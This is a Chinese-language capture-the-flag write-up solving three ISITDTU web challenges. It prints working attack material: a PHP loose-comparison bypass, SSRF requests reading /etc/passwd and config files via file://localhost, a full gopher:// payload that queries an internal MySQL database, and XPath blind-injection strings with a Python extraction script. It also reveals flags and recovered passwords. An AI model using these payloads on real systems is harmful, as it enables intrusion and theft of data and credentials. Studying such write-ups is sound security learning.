IZ

题目链接:http://35.185.178.212/
题目直接给出了源码

<?php 
include "config.php"; 
$number1 = rand(1,100000000000000); 
$number2 = rand(1,100000000000); 
$number3 = rand(1,100000000); 
$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY); 
if (preg_match("/_/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/0/i", $url))  
{ 
    die("..."); 
} 
if (preg_match("/\w+/i", $url))  
{ 
    die("..."); 
}     
if(isset($_GET['_']) && !empty($_GET['_'])) 
{ 
    $control = $_GET['_'];         
    if(!in_array($control, array(0,$number1))) 
    { 
        die("fail1"); 
    } 
    if(!in_array($control, array(0,$number2))) 
    { 
        die("fail2"); 
    } 
    if(!in_array($control, array(0,$number3))) 
    { 
        die("fail3"); 
    } 
    echo $flag; 
} 
show_source(__FILE__); 
?>

看到

$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY);

不难想到///的trick
同时,我知道in_array(),在没有设置松紧比较的时候,是默认存在弱比较的
于是随手构造弱比较,请求

http://35.185.178.212///?_=0a

即可得到flag

ISITDTU{php_bad_language}

Friss

题目链接:http://35.190.142.60/
打开题目是个curl的界面,本能的想到是SSRF的题目
右键打开源代码发现

<!-- index.php?debug=1-->

于是请求访问

http://35.190.142.60/?debug=1

得到页面源码

<?php 
include_once "config.php"; 
if (isset($_POST['url'])&&!empty($_POST['url'])) 
{ 
    $url = $_POST['url']; 
    $content_url = getUrlContent($url); 
} 
else 
{ 
    $content_url = ""; 
} 
if(isset($_GET['debug'])) 
{ 
    show_source(__FILE__); 
} 
?> 
<?php  
echo $content_url; 
?>

那么第一件事肯定是选择读源码了,我们随手尝试

file:///etc/passwd

发现回显

于是发现必须得有localhost的host
于是改变请求方式为

file://loaclhost/etc/passwd


这次有了一些回显
再尝试

file://localhost/var/www/html/config.php

发现成功得到源码

<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

不难看得出有Mysql的存在,加上简单的curl
我的本能反应是,存在gopher打mysql,因为这个思路我遇到过多次
所以我的第一反应是测试

gopher://localhost:3306


大概就是我这个思路了吧
于是使用payload生成脚本:
命令如下

python exploit.py -u ssrf_user -d 'ssrf' -P 'SELECT * FROM ssrf.flag' -v

payload

gopher://127.0.0.1:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28SELECT%20%2A%20FROM%20ssrf.flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00

发送请求后发现

很轻松获得flag

Access Box

题目链接:http://35.190.131.105/
打开题目只有登录页面

于是打开源代码得到

guest/guest

登入后发现

没有其他功能了
说明很简单的思路,以admin的身份登入即可
那么只有登录界面,很容易想到的就是sql注入
于是开始测试

可以看到,用户名和密码的错误是分开回显的,这就舒服的许多
简单测试后,发现的确存在注入

于是构造

guest'and 1 or'
guest'and 0 or'

发现成功返回不一致
构造bool注入,但发现怎么尝试都无果,非常郁闷
但是发现一个奇怪现象

有时候会出现???,这很迷
经过一番折腾好,于是思考到会不会是xpath注入

https://www.cnblogs.com/bmjoker/p/8861927.html

尝试提取父节点的名字:

'or substring(name(parent::*[position()=1]),1,1)='a

简单用burp爆破了一下

发现

'or substring(name(parent::*[position()=1]),1,1)='u

回显是???
那么我猜测,只要是匹配通过后,反馈就是???
于是我为了证明这不是巧合,继续探测

import requests
import string
url = "http://35.190.131.105/"
payload = ''''or substring(name(parent::*[position()=1]),%s,1)='%s'''

res = ""
for i in range(1,1000):
    for j in string.printable:
        data = {
            "username":payload%(i,j),
            "password":"1"
        }
        r = requests.post(url=url,data=data)
        if "Invalid" not in r.content[1470:1490]:
            res+=j
            print res
            break


发现成功得到父节点名字:user
那么继续探测子节点

'or substring(//user[1]/*[2],1,1)='u' or 'a'='a

探测子节点的值:

'or substring(//user[1]/*[2]/text(),1,1)='a' or'a'='a

最后即可拿到

Adm1n
Ez_t0_gu3ss_PaSSw0rd

当然题目也是存在非预期的

http://35.190.131.105/accounts.xml

存在数据库信息泄露

直接登入后可得到flag

源链接

Hacking more

...